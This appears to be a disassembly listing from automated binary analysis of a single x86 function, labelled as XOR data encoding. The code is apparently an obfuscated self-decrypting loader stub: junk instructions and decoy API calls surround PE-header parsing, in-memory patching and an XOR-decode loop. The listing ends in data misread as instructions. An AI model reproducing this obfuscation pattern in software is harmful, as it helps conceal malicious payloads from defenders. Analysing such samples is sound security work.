Function at 0x40110d
Capabilities:
Encode data using xor

Disassembly:
jmp 0x401135
mov ecx, ebx
rol esi, 0x11
push ecx
pop eax
add eax, 0x4c
ror di, 7
mov edx, dword [eax]
push ebx
xor edi, 0x3bdb22cd
push edx
mov ebx, 0x536bbcee
add edi, 0x3b8529e5
mov eax, dword [sym.imp.kernel32.dll_GetLastError]
inc edx
call eax
jmp 0x401192
xor edi, ecx
nop
sub cx, 0xffed
mov eax, dword [sym.imp.kernel32.dll_GetLastError]
sar edx, 0x14
call eax
sub edi, 0xcee3ab9d
jmp 0x4011d2
rol si, 0xe
push ebx
xor edx, 0x9dbd8415
call dword [sym.imp.kernel32.dll_FreeLibrary]
push edx
add edx, 0xb6b1916d
mov eax, dword [sym.imp.kernel32.dll_FreeLibrary]
add edx, edx
call eax
add ax, 0xffad
add edi, 0xf0eb05e5
push eax
inc edx
mov eax, dword [sym.imp.kernel32.dll_FreeLibrary]
and edx, ebp
call eax
pop eax
xor edx, edx
add edx, 0x401102
mov esi, dword [edx]
not ecx
xor edx, esi
inc eax
and edi, 0x96441ecd
mov edx, dword [eax]
rol cx, 0xd
sub edx, esi
test edx, edx
jne 0x401215
xor esi, 0x38c16dc5
xchg eax, edi
and esi, edx
add edi, 0xfffffff6
sub edx, 0x3cf51b55
mov cx, word [edi]
rol eax, 0xd
xchg ecx, ebx
add esi, dword [esp]
sub edx, 0x89eb1a25
mov edi, esp
xor edx, ebp
mov ecx, dword [edi + 4]
add eax, dword [esp]
push ecx
pop esi
mov eax, 0x401038
neg edx
mov ecx, dword [eax + 6]
sal edx, 0x12
mov edx, dword [esi]
inc edi
sub esi, 0xffffffff
mov edi, edx
and eax, 0x6b817cf5
xor edi, ecx
sub edx, 0xde8680ed
test edi, edi
je 0x401286
dec eax
jmp 0x401267
inc ecx
xchg esi, ebp
rol edx, 0x17
or ecx, 0x1eb780d5
mov edx, sym.imp.advapi32.dll_RegQueryInfoKeyA
inc edi
mov eax, dword [edx]
push 0xffbfef04
pop ecx
not ecx
mov edi, dword [ecx]
sar edx, 0x1d
add ecx, edx
sub eax, 0xffffffff
ror esi, 0x1c
mov edx, dword [eax]
and ecx, 0x474c5705
sub edx, edi
test edx, edx
jne 0x4012a7
add edi, esi
mov esi, dword [esp]
mov edi, 0xc
stc
add esi, edi
dec eax
mov ecx, dword [esi]
rol dx, 9
mov esi, 0x1c
add di, 0x4f
add ecx, esi
or ax, 0xffd3
mov edi, dword [ecx]
and esi, esi
mov eax, dword [edi]
or di, 0x59
mov esi, 8
neg ecx
add eax, esi
rol si, 0xa
mov edx, dword [eax]
and eax, 0x5c9c600e
inc ecx
dec edi
push 0x8822a6e
add ecx, ecx
mov ebp, edx
sar eax, 0x19
and edi, 0x28b8c39d
mov esi, 0x401072
add ecx, esi
mov eax, dword [esi]
push edx
sar edi, 1
call eax
or ax, 0xffb8
push 0xd1b0
ror esi, 0xf
mov edx, 0x40
and edi, 0x640a2425
push edx
mov esi, ecx
sub eax, 0xaf923dfd
call esi
mov ecx, eax
mov ebx, ecx
add eax, 0xd008
wait
mov dword [eax], ebp
dec eax
or esi, 0x9c3fc32d
mov eax, 0x401072
inc edi
mov ecx, dword [eax]
push 0xc0263df0
add edx, dword [esp]
mov edi, ebp
rol si, 0xa
push edi
and edx, 0x840da8fd
call ecx
or eax, 0xa253035
mov edi, ebx
rol dx, 5
add edi, 0xd015
add si, 0xfffa
mov dword [edi], ecx
add ecx, eax
push 0x9990e111
and edx, edx
push ebp
inc eax
xor ecx, 0xe7f3dfb5
mov esi, 0xffbfef8d
not esi
sub eax, 0x4cc5ffcd
mov edi, dword [esi]
xor edx, esi
call edi
xor edx, esi
mov eax, ebx
or si, 3
add eax, 0xd029
sub edx, 0x194609ed
xchg edi, eax
not esi
mov dword [edi], ecx
not eax
push 0x3ababe31
rol edi, 0x19
mov ecx, 0xffbfef8d
not ecx
sal edi, 4
mov eax, dword [ecx]
inc esi
mov edx, ebp
add esi, dword [esp]
push edx
call eax
mov eax, esp
wait
sub eax, 0x6a
push eax
mov edi, 0x40
push edi
sub eax, eax
add eax, 0x400000
sub edi, 0xc27cd77d
mov edi, dword [eax + 0x3c]
xor edx, 0xca78385d
add edi, eax
add edx, dword [esp]
sub edx, edx
xor edx, 0x50
add edi, edx
ror edx, 0x13
mov esi, dword [edi]
push esi
or di, 0xfff8
push eax
call ecx
ror di, 1
xor edx, edx
xor edx, 0x482515ff
sub ax, 0x7b
mov ecx, 0x401540
or si, 0xff91
mov word [ecx], dx
ror ax, 0xb
xor edi, edi
xor edi, 0xc516fdf3
ror ecx, 1
push 0xc556e915
and eax, edi
pop esi
ror dx, 2
xor esi, edi
ror ecx, 0xb
mov edx, 0x47900788
sar eax, 0xa
mov dword [esi], edx
ror ax, 4
ror cx, 0xa
mov edx, 0xc556e91f
sub ecx, ecx
xor ecx, 0xc516fdf3
sub eax, edx
xor edx, ecx
and esi, 0xbd89433d
sub edi, edi
add edi, 0xe2909090
rol ax, 2
mov dword [edx], edi
rol ax, 6
sar edx, 0xf
pop edi
sub eax, 0xbe4b3665
mov ecx, edi
xor edx, 0xedc38165
add ecx, 4
wait
mov edx, dword [ecx]
dec eax
inc edx
mov edi, 0x401047
sar eax, 0x15
add edx, dword [edi]
mov edi, 0x400af7
neg eax
add edi, edx
clc
mov ecx, 0x2fe
xor eax, eax
neg edx
xor esi, esi
mov al, byte [edi]
sar edx, 0xb
not esi
xor al, 0xda
sub edx, ecx
outsb dx, byte [esi]
lahf
add al, 0x9d
and esi, ecx
mov dword [0xe85c2d18], eax
and ecx, 0xb0197aa6
add si, 0
mov edx, dword [esp - 4]
not eax
push edx
pop eax
add esi, eax
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
or si, 0x41
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add edx, esi
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
inc ecx
xor esi, 0x42cc594e
ror di, 0xb
add byte [eax], al
popal
adc byte [eax], al
sub si, 1
or ax, 0x70
add ah, dl
pop ss
xchg edi, eax
add byte [eax], al
invalid